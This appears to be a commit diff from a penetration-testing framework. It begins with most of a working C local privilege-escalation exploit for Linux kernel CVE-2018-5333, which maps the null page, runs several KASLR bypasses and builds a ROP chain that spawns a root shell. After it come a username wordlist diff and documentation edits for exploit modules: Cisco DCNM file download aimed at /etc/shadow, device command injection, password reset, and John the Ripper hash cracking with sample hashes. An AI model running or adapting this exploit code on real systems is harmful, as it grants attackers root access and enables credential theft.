//{ "4.13.0-16-generic #19~16.04.3-Ubuntu", 0xa8220, 0xa85f0, 0x5f0c5, 0x19c8a7, 0x462d18, 0x668b4, 0x2f2d4 },
//{ "4.13.0-37-generic #42~16.04.1-Ubuntu", 0xab1d0, 0xab5a0, 0x610c5, 0x1a0827, 0x46bf58, 0x68944, 0x3381b },
};
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
// https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c
#define RAND_SIZE 4096
#ifndef SOL_RDS
# define SOL_RDS 276
#endif
#ifndef RDS_CMSG_MASKED_ATOMIC_CSWP
# define RDS_CMSG_MASKED_ATOMIC_CSWP 9
#endif
#ifndef AF_RDS
# define AF_RDS 0x15
#endif
void trigger_bug()
{
struct sockaddr_in sin;
struct msghdr msg;
char buf[RAND_SIZE];
struct cmsghdr cmsg;
memset(&sin, 0, sizeof(struct sockaddr));
memset(&msg, 0, sizeof(msg));
memset(buf, 0x40, sizeof(buf));
memset(&cmsg, 0, sizeof(cmsg));
int fd = socket(AF_RDS, 5, 0);
if(fd < 0) {
dprintf("[-] socket(AF_RDS): %m\n");
return;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(2000);
sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
bind(fd, (struct sockaddr*)&sin, sizeof(sin));
cmsg.cmsg_len = RAND_SIZE;
cmsg.cmsg_type = RDS_CMSG_MASKED_ATOMIC_CSWP;
cmsg.cmsg_level = SOL_RDS;
memcpy(&buf[0], &cmsg, sizeof(cmsg));
*(uint64_t *)(buf + 0x18) = 0x40404000; /* args->local_addr */
msg.msg_name = &sin;
msg.msg_namelen = sizeof(sin);
msg.msg_iov = NULL;
msg.msg_iovlen = 0;
msg.msg_control = buf;
msg.msg_controllen = RAND_SIZE;
msg.msg_flags = MSG_DONTROUTE|MSG_PROXY|MSG_WAITALL;
sendmsg(fd, &msg, 0);
}
// * * * * * * * * * * * * * * map null address * * * * * * * * * * * * *
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2
void map_null() {
void *map = mmap((void *)0x10000, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
if (map == MAP_FAILED) {
dprintf("[-] mmap(null): %m\n");
exit(EXIT_FAILURE);
}
char* path = "/proc/self/mem";
int fd = open(path, O_RDWR);
if (fd == -1) {
dprintf("open(%s): %m\n", path);
exit(EXIT_FAILURE);
}
unsigned long addr = (unsigned long)map;
while (addr != 0) {
addr -= 0x1000;
if (lseek(fd, addr, SEEK_SET) == -1) {
dprintf("lseek()\n");
exit(EXIT_FAILURE);
}
char cmd[1000];
sprintf(cmd, "LD_DEBUG=help su 1>&%d", fd);
system(cmd);
}
}
// * * * * * * * * * * * * * * * save state * * * * * * * * * * * * * * *
// https://github.com/vnik5287/kernel_rop
unsigned long user_cs, user_ss, user_rflags;
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}
// * * * * * * * * * * * * * * SIGSEGV handler * * * * * * * * * * * * * *
void handler(int signo, siginfo_t* info, void* vcontext) {}
void debug_enable_sigsev_handler() {
struct sigaction action;
memset(&action, 0, sizeof(struct sigaction));
action.sa_flags = SA_SIGINFO;
action.sa_sigaction = handler;
sigaction(SIGSEGV, &action, NULL);
}
// * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * *
#define CHUNK_SIZE 1024
int read_file(const char* file, char* buffer, int max_length) {
int f = open(file, O_RDONLY);
if (f == -1)
return -1;
int bytes_read = 0;
while (1) {
int bytes_to_read = CHUNK_SIZE;
if (bytes_to_read > max_length - bytes_read)
bytes_to_read = max_length - bytes_read;
int rv = read(f, &buffer[bytes_read], bytes_to_read);
if (rv == -1)
return -1;
bytes_read += rv;
if (rv == 0)
return bytes_read;
}
}
#define PROC_CPUINFO_LENGTH 4096
static int check_env() {
int fd = socket(AF_RDS, 5, 0);
if(fd < 0) {
dprintf("[-] socket(AF_RDS): RDS kernel module not loaded?\n");
exit(EXIT_FAILURE);
}
char buffer[PROC_CPUINFO_LENGTH];
char* path = "/proc/cpuinfo";
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
if (length == -1) {
dprintf("[-] open/read(%s): %m\n", path);
exit(EXIT_FAILURE);
}
char* found = memmem(&buffer[0], length, "smap", 4);
if (found != NULL) {
dprintf("[-] SMAP detected, no bypass available\n");
exit(EXIT_FAILURE);
}
struct stat st;
if (stat("/dev/grsec", &st) == 0) {
dprintf("[!] Warning: grsec is in use\n");
}
if (stat("/proc/sys/lkrg", &st) == 0) {
dprintf("[!] Warning: lkrg is in use\n");
}
return 0;
}
struct utsname get_kernel_version() {
struct utsname u;
int rv = uname(&u);
if (rv != 0) {
dprintf("[-] uname()\n");
exit(EXIT_FAILURE);
}
return u;
}
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
#define KERNEL_VERSION_SIZE_BUFFER 512
void detect_versions() {
struct utsname u;
char kernel_version[KERNEL_VERSION_SIZE_BUFFER];
u = get_kernel_version();
if (strstr(u.machine, "64") == NULL) {
dprintf("[-] system is not using a 64-bit kernel\n");
exit(EXIT_FAILURE);
}
if (strstr(u.version, "-Ubuntu") == NULL) {
dprintf("[-] system is not using an Ubuntu kernel\n");
exit(EXIT_FAILURE);
}
char *u_ver = strtok(u.version, " ");
snprintf(kernel_version, KERNEL_VERSION_SIZE_BUFFER, "%s %s", u.release, u_ver);
int i;
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
if (strcmp(kernel_version, kernels[i].kernel_version) == 0) {
dprintf("[.] kernel version '%s' detected\n", kernels[i].kernel_version);
kernel = i;
return;
}
}
dprintf("[-] kernel version '%s' not recognized\n", kernel_version);
exit(EXIT_FAILURE);
}
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
// https://grsecurity.net/~spender/exploits/exploit.txt
#if ENABLE_KASLR_BYPASS_KALLSYMS
unsigned long get_kernel_addr_kallsyms() {
FILE *f;
unsigned long addr = 0;
char dummy;
char sname[256];
char* name = "startup_64";
char* path = "/proc/kallsyms";
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s): %m\n", path);
return 0;
}
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
if (addr == 0)
dprintf("[-] kernel base not found in %s\n", path);
return addr;
}
}
fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
#endif
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
// https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
#if ENABLE_KASLR_BYPASS_SYSLOG
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10
int mmap_syslog(char** buffer, int* size) {
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER): %m\n");
return 1;
}
*size = (*size / getpagesize() + 1) * getpagesize();
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL): %m\n");
return 1;
}
return 0;
}
unsigned long get_kernel_addr_syslog_xenial(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL)
return 0;
int start = 0;
int end = 0;
for (start = 0; substr[start] != '-'; start++);
for (end = start; substr[end] != '\n'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL)
return 0;
char* endptr = &substr[16];
unsigned long addr = strtoul(&substr[0], &endptr, 16);
addr &= 0xfffffffffff00000ul;
addr -= 0x1000000ul;
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX)
return addr;
return 0;
}
unsigned long get_kernel_addr_syslog() {
unsigned long addr = 0;
char* syslog;
int size;
dprintf("[.] trying syslog...\n");
if (mmap_syslog(&syslog, &size))
return 0;
addr = get_kernel_addr_syslog_xenial(syslog, size);
if (!addr)
dprintf("[-] kernel base not found in syslog\n");
return addr;
}
#endif
// * * * * * * * * * * * perf_event_open KASLR bypass * * * * * * * * * * *
// https://blog.lizzie.io/kaslr-and-perf.html
#if ENABLE_KASLR_BYPASS_PERF
int perf_event_open(struct perf_event_attr *attr, pid_t pid, int cpu, int group_fd, unsigned long flags)
{
return syscall(SYS_perf_event_open, attr, pid, cpu, group_fd, flags);
}
unsigned long get_kernel_addr_perf() {
int fd;
pid_t child;
dprintf("[.] trying perf_event_open sampling...\n");
child = fork();
if (child == -1) {
dprintf("[-] fork() failed: %m\n");
return 0;
}
if (child == 0) {
struct utsname self = {0};
while (1) uname(&self);
return 0;
}
struct perf_event_attr event = {
.type = PERF_TYPE_SOFTWARE,
.config = PERF_COUNT_SW_TASK_CLOCK,
.size = sizeof(struct perf_event_attr),
.disabled = 1,
.exclude_user = 1,
.exclude_hv = 1,
.sample_type = PERF_SAMPLE_IP,
.sample_period = 10,
.precise_ip = 1
};
fd = perf_event_open(&event, child, -1, -1, 0);
if (fd < 0) {
dprintf("[-] syscall(SYS_perf_event_open): %m\n");
if (child) kill(child, SIGKILL);
if (fd > 0) close(fd);
return 0;
}
uint64_t page_size = getpagesize();
struct perf_event_mmap_page *meta_page = NULL;
meta_page = mmap(NULL, (page_size * 2), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (meta_page == MAP_FAILED) {
dprintf("[-] mmap() failed: %m\n");
if (child) kill(child, SIGKILL);
if (fd > 0) close(fd);
return 0;
}
if (ioctl(fd, PERF_EVENT_IOC_ENABLE)) {
dprintf("[-] ioctl failed: %m\n");
if (child) kill(child, SIGKILL);
if (fd > 0) close(fd);
return 0;
}
char *data_page = ((char *) meta_page) + page_size;
size_t progress = 0;
uint64_t last_head = 0;
size_t num_samples = 0;
unsigned long min_addr = ~0;
while (num_samples < 100) {
/* is reading from the meta_page racy? no idea */
while (meta_page->data_head == last_head);;
last_head = meta_page->data_head;
while (progress < last_head) {
struct __attribute__((packed)) sample {
struct perf_event_header header;
uint64_t ip;
} *here = (struct sample *) (data_page + progress % page_size);
switch (here->header.type) {
case PERF_RECORD_SAMPLE:
num_samples++;
if (here->header.size < sizeof(*here)) {
dprintf("[-] size too small.\n");
if (child) kill(child, SIGKILL);
if (fd > 0) close(fd);
return 0;
}
uint64_t prefix;
if (strstr(kernels[kernel].kernel_version, "4.8.0-")) {
prefix = here->ip & ~0xfffff;
} else {
prefix = here->ip & ~0xffffff;
}
if (prefix < min_addr) min_addr = prefix;
break;
case PERF_RECORD_THROTTLE:
case PERF_RECORD_UNTHROTTLE:
case PERF_RECORD_LOST:
break;
default:
dprintf("[-] unexpected perf event: %x\n", here->header.type);
if (child) kill(child, SIGKILL);
if (fd > 0) close(fd);
return 0;
}
progress += here->header.size;
}
/* tell the kernel we read it. */
meta_page->data_tail = last_head;
}
if (child) kill(child, SIGKILL);
if (fd > 0) close(fd);
return min_addr;
}
#endif
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
#if ENABLE_KASLR_BYPASS_MINCORE
unsigned long get_kernel_addr_mincore() {
unsigned char buf[getpagesize() / sizeof(unsigned char)];
unsigned long iterations = 20000000;
unsigned long addr = 0;
dprintf("[.] trying mincore info leak...\n");
if (strstr(kernels[kernel].kernel_version, "4.8.0-")) {
dprintf("[-] target kernel does not permit mincore info leak\n");
return 0;
}
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
if (mmap((void*)0x66000000, 0x20000000000,
PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
dprintf("[-] mmap(): %m\n");
return 0;
}
int i;
for (i = 0; i <= iterations; i++) {
/* Touch a mishandle with this type mapping */
if (mincore((void*)0x86000000, 0x1000000, buf)) {
dprintf("[-] mincore(): %m\n");
return 0;
}
int n;
for (n = 0; n < getpagesize() / sizeof(unsigned char); n++) {
addr = *(unsigned long*)(&buf[n]);
/* Kernel address space */
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX) {
addr &= 0xffffffffff000000ul;
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap(): %m\n");
return addr;
}
}
}
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap(): %m\n");
dprintf("[-] kernel base not found in mincore info leak\n");
return 0;
}
#endif
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
unsigned long get_kernel_addr() {
unsigned long addr = 0;
#if ENABLE_KASLR_BYPASS_KALLSYMS
addr = get_kernel_addr_kallsyms();
if (addr) return addr;
#endif
#if ENABLE_KASLR_BYPASS_SYSLOG
addr = get_kernel_addr_syslog();
if (addr) return addr;
#endif
#if ENABLE_KASLR_BYPASS_PERF
addr = get_kernel_addr_perf();
if (addr) return addr;
#endif
#if ENABLE_KASLR_BYPASS_MINCORE
addr = get_kernel_addr_mincore();
if (addr) return addr;
#endif
dprintf("[-] KASLR bypass failed, kernel base not found\n");
exit(EXIT_FAILURE);
return 0;
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
static void shell() {
if (getuid() == 0 && geteuid() == 0) {
dprintf("[+] got root\n");
system(SHELL);
} else {
dprintf("[-] failed\n");
}
exit(EXIT_FAILURE);
}
void fork_shell() {
pid_t rv;
rv = fork();
if (rv == -1) {
dprintf("[-] fork(): %m\n");
exit(EXIT_FAILURE);
}
if (rv == 0)
shell();
}
int main(int argc, char *argv[]) {
if (argc > 1) SHELL = argv[1];
dprintf("Linux RDS rds_atomic_free_op NULL pointer dereference local root (CVE-2018-5333)\n");
dprintf("[.] checking kernel version...\n");
detect_versions();
dprintf("[~] done, version looks good\n");
#if ENABLE_SYSTEM_CHECKS
dprintf("[.] checking system...\n");
check_env();
dprintf("[~] done, looks good\n");
#endif
dprintf("[.] mapping null address...\n");
map_null();
dprintf("[~] done, mapped null address\n");
#if ENABLE_KASLR_BYPASS
dprintf("[.] KASLR bypass enabled, getting kernel base address\n");
KERNEL_BASE = get_kernel_addr();
dprintf("[.] done, kernel text: %lx\n", KERNEL_BASE);
#endif
unsigned long commit_creds = (KERNEL_BASE + kernels[kernel].commit_creds);
unsigned long prepare_kernel_cred = (KERNEL_BASE + kernels[kernel].prepare_kernel_cred);
unsigned long xor_rdi = (KERNEL_BASE + kernels[kernel].xor_rdi);
unsigned long mov_rdi_rax = (KERNEL_BASE + kernels[kernel].mov_rdi_rax);
unsigned long xchg_esp = (KERNEL_BASE + kernels[kernel].xchg_esp);
unsigned long swapgs = (KERNEL_BASE + kernels[kernel].swapgs);
unsigned long iretq = (KERNEL_BASE + kernels[kernel].iretq);
dprintf("[.] commit_creds: %lx\n", commit_creds);
dprintf("[.] prepare_kernel_cred: %lx\n", prepare_kernel_cred);
dprintf("[.] mmapping fake stack...\n");
uint64_t page_size = getpagesize();
uint64_t stack_aligned = (xchg_esp & 0x00000000fffffffful) & ~(page_size - 1);
uint64_t stack_offset = xchg_esp % page_size;
unsigned long *fake_stack = mmap((void*)stack_aligned, 0x200000,
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
if (fake_stack == MAP_FAILED) {
dprintf("[-] mmap(fake_stack): %m\n");
exit(EXIT_FAILURE);
}
unsigned long *temp_stack = mmap((void*)0x30000000, 0x10000000,
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
if (temp_stack == MAP_FAILED) {
dprintf("[-] mmap(temp_stack): %m\n");
exit(EXIT_FAILURE);
}
static unsigned long result = 0;
unsigned long *data = (unsigned long *)0;
data[1] = (uint64_t)&result;
data[3] = xchg_esp;
save_state();
debug_enable_sigsev_handler();
fake_stack = (unsigned long *)(stack_aligned + stack_offset);
int i = 0;
fake_stack[i++] = xor_rdi;
fake_stack[i++] = prepare_kernel_cred;
fake_stack[i++] = mov_rdi_rax;
fake_stack[i++] = 0x12345678;
fake_stack[i++] = 0x12345678;
fake_stack[i++] = 0x12345678;
fake_stack[i++] = commit_creds;
fake_stack[i++] = swapgs;
fake_stack[i++] = 0x12345678;
fake_stack[i++] = iretq;
fake_stack[i++] = (unsigned long)shell;
fake_stack[i++] = user_cs;
fake_stack[i++] = user_rflags;
fake_stack[i++] = (unsigned long)(temp_stack + 0x500000);
fake_stack[i++] = user_ss;
dprintf("[~] done, fake stack mmapped\n");
dprintf("[.] executing payload %p...\n", (void*)&shell);
trigger_bug();
return 0;
}
Binary file not shown.
Binary file not shown.
Binary file not shown.
+1 -1
View File
@@ -15,7 +15,7 @@
:<script>.Ac816/ sENbove3101.404:
:NT_AUTHORITY.Do `T:/shSYSTEM-.N:
:09.14.2011.raid /STFU|wall.No.Pr:
:hvensntSurb025N. dNVRGOING2GIVUUP:
:hevnsntSurb025N. dNVRGOING2GIVUUP:
:#OUTHOUSE- -s: /corykennedyData:
:$nmap -oS SSo.6178306Ence:
:Awsm.da: /shMTl#beats3o.No.:
+59 -4
View File
@@ -1,88 +1,131 @@
4Dgifts
EZsetup
OutOfBox
ROOT
abrt
adm
admin
administrator
anon
_apt
arpwatch
auditor
avahi
avahi-autoipd
backup
bbs
beef-xss
bin
bitnami
checkfs
checkfsys
checksys
chronos
chrony
cmwlogin
cockpit-ws
colord
couchdb
cups-pk-helper
daemon
dbadmin
dbus
Debian-exim
Debian-snmp
demo
demos
diag
distccd
dni
dnsmasq
dradis
EZsetup
fal
fax
ftp
games
gdm
geoclue
gnats
gnome-initial-setup
gopher
gropher
guest
haldaemon
halt
hplip
inetsim
informix
install
iodine
irc
jet
karaf
kernoops
king-phisher
landscape
libstoragemgmt
libuuid
lightdm
list
listen
lp
lpadm
lpadmin
lxd
lynx
mail
man
me
messagebus
miredo
mountfs
mountfsys
mountsys
mysql
news
noaccess
nobody
nobody4
ntp
nuucp
nxautomation
nxpgsql
omi
omsagent
operator
oracle
OutOfBox
pi
polkitd
pollinate
popr
postfix
postgres
postmaster
printer
proxy
pulse
redsocks
rfindd
rje
root
ROOT
rooty
rpc
rpcuser
rtkit
rwhod
saned
service
setroubleshoot
setup
sgiweb
shutdown
sigver
speech-dispatcher
sshd
sslh
sssd
stunnel4
sym
symop
sync
@@ -92,22 +135,34 @@ sysadmin
sysbin
syslog
system_admin
systemd-bus-proxy
systemd-coredump
systemd-network
systemd-resolve
systemd-timesync
tcpdump
trouble
tss
udadmin
ultra
umountfs
umountfsys
umountsys
unix
unscd
us_admin
usbmux
user
uucp
uucpadm
uuidd
vagrant
varnish
web
webmaster
whoopsie
www
www-data
xpdb
xpopr
zabbix
vagrant
File diff suppressed because one or more lines are too long
+3695 -1459
View File
File diff suppressed because it is too large Load Diff
@@ -56,7 +56,7 @@ All of the leaked versions are available in the module
`**` We currently can't distinguish between normal and NPE versions from the SNMP strings. We've commented out the NPE offsets, as NPE is very rare (it is for exporting to places where encryption is crappy), but in the future, we'd like to incorporate these versions. Perhaps as a bool option?
## Verification
## Verification Steps
- Start `msfconsole`
- `use auxiliary/admin/cisco/cisco_asa_extrabacon`
@@ -1,4 +1,4 @@
## Introduction
## Vulnerable Application
Cisco Data Center Network Manager exposes a servlet to download files on /fm/downloadServlet.
An authenticated user can abuse this servlet to download arbitrary files as root by specifying
@@ -8,21 +8,7 @@ This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and
work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit
(see References to understand why), on the other versions it abuses CVE-2019-1619 to bypass authentication.
## Author and discoverer
Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security
## References
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld
https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb
https://seclists.org/fulldisclosure/2019/Jul/7
## Usage
## Scenarios
Setup RHOST, pick the file to download (FILENAME, default is /etc/shadow) and enjoy!
@@ -8,7 +8,7 @@ Cambium cnPilot r200/r201 device software versions 4.2.3-R4 and newer, contain a
4. Do: ```set CMD [command]```
5. Do: ```run```
## Sample Output
## Scenarios
```
msf > use auxiliary/scanner/http/cnpilot_r_cmd_exec
@@ -1,3 +1,5 @@
## Vulnerable Application
This module exploits a File Path Traversal vulnerability in Cambium cnPilot r200/r201 devices to read arbitrary files off the file system. Affected versions - 4.3.3-R4 and prior.
## Verification Steps
@@ -8,7 +10,7 @@ This module exploits a File Path Traversal vulnerability in Cambium cnPilot r200
4. Do: ```set FILENAME [filename]```
5. Do: ```run```
## Sample Output
## Scenarios
```
msf > use auxiliary/scanner/http/cnpilot_r_fpt
@@ -8,7 +8,7 @@ This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000
4. Do: ```set CMD [COMMAND]```
5. Do: ```run```
## Sample Output
## Scenarios
```
msf > use auxiliary/scanner/http/epmp1000_get_chart_cmd_exec
@@ -9,7 +9,7 @@ This module exploits an access control vulnerability in Cambium ePMP device mana
5. Do: ```set NEW_PASSWORD newpass```
6. Do: ```run```
## Sample Output
## Scenarios
```
msf > use use auxiliary/scanner/http/epmp1000_reset_pass
@@ -15,7 +15,7 @@ attacker on the local network can send a crafted request to broadcast a fake vid
Doo-doodoodoodoodoo-doo, Epic Sax Guy will be broadcasted to the remote system.
## Sample Output
## Scenarios
```
msf5 > use auxiliary/admin/http/supra_smart_cloud_tv_rfi
@@ -64,7 +64,7 @@ msf auxiliary(phoenix_command) > run
[*] Auxiliary module execution completed
```
## Module Options
## Options
```
msf auxiliary(phoenix_command) > show options
@@ -9,8 +9,6 @@
## Verification Steps
Example steps in this format (is also in the PR):
1. Install the application
2. Start msfconsole
3. Do: ```use auxiliary/admin/smb/webexec_command```
@@ -22,7 +20,7 @@
## Options
**FORCE_GUI**
### FORCE_GUI
Uses WMIC to create a GUI
@@ -1,141 +0,0 @@
## Vulnerable Application
This module attempts to use [john the ripper](https://www.openwall.com/john/) to decode AIX
based password hashes, such as:
* `DES` based passwords
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
## Verification Steps
1. Have at least one user with a `des` password in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/jtr_aix```
4. Do: ```run```
5. You should hopefully crack a password.
## Options
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking
**JOHN_PATH**
The absolute path to the John the Ripper executable. Default behavior is to search `path` for
`john` and `john.exe`.
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
## Scenarios
Create hashes:
```
creds add user:des_password hash:rEK1ecacw.7.c jtr:des
creds add user:des_passphrase hash:qiyh4XPJGsOZ2MEAyLkfWqeQ jtr:des
```
Crack them:
```
[*] Hashes Written out to /tmp/hashes_tmp20190211-5021-1p3x0lx
[*] Wordlist file written out to /tmp/jtrtmp20190211-5021-66w3u0
[*] Cracking descrypt hashes in normal wordlist mode...
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2019-02-11 19:29) 0g/s 4206Kp/s 4206Kc/s 4206KC/s scandal..vagrant
Session completed
[*] Cracking descrypt hashes in single mode...
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:05 DONE (2019-02-11 19:29) 0g/s 6681Kp/s 6681Kc/s 6681KC/s qt1902..tude1900
Session completed
[*] Cracking descrypt hashes in incremental mode (Digits)...
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Warning: MaxLen = 20 is too large for the current hash type, reduced to 8
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:05 DONE (2019-02-11 19:29) 0g/s 21083Kp/s 21083Kc/s 21083KC/s 73602400..73673952
Session completed
[*] Cracked Passwords this run:
[+] des_password:password
[+] des_passphrase:????????se
[*] Auxiliary module execution completed
msf5 auxiliary(analyze/jtr_aix) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
des_passphrase ????????se Password
des_passphrase qiyh4XPJGsOZ2MEAyLkfWqeQ Nonreplayable hash des
des_password rEK1ecacw.7.c Nonreplayable hash des
des_password password Password
```
@@ -1,176 +0,0 @@
## Vulnerable Application
This module attempts to use [john the ripper](https://www.openwall.com/john/) to decode Linux
based password hashes, such as:
* `DES` based passwords
* `MD5` based passwords
* `BSDi` based passwords
* With `crypt` set to `true`:
* `bf`, `bcrypt`, or `blowfish` based passwords
* `SHA256` based passwords
* `SHA512` based passwords
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
The definition of `crypt` according to JTR and waht algorithms it decodes can be found
[here](https://github.com/magnumripper/JohnTheRipper/blob/ae24a410baac45bb36884d793c429adeb7197336/src/c3_fmt.c#L731)
## Verification Steps
1. Have at least one user with an `des`, `md5`, `bsdi`, `crypt`, `blowfish`, `sha512`, or `sha256` password hash in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/jtr_linux```
4. Do: ```run```
5. You should hopefully crack a password.
## Options
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CRYPT**
Include `blowfish` and `SHA`(256/512) passwords.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking
**JOHN_PATH**
The absolute path to the John the Ripper executable. Default behavior is to search `path` for
`john` and `john.exe`.
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
## Scenarios
Create hashes:
```
creds add user:des_password hash:rEK1ecacw.7.c jtr:des
creds add user:md5_password hash:$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ jtr:md5
creds add user:bsdi_password hash:_J9..K0AyUubDrfOgO4s jtr:bsdi
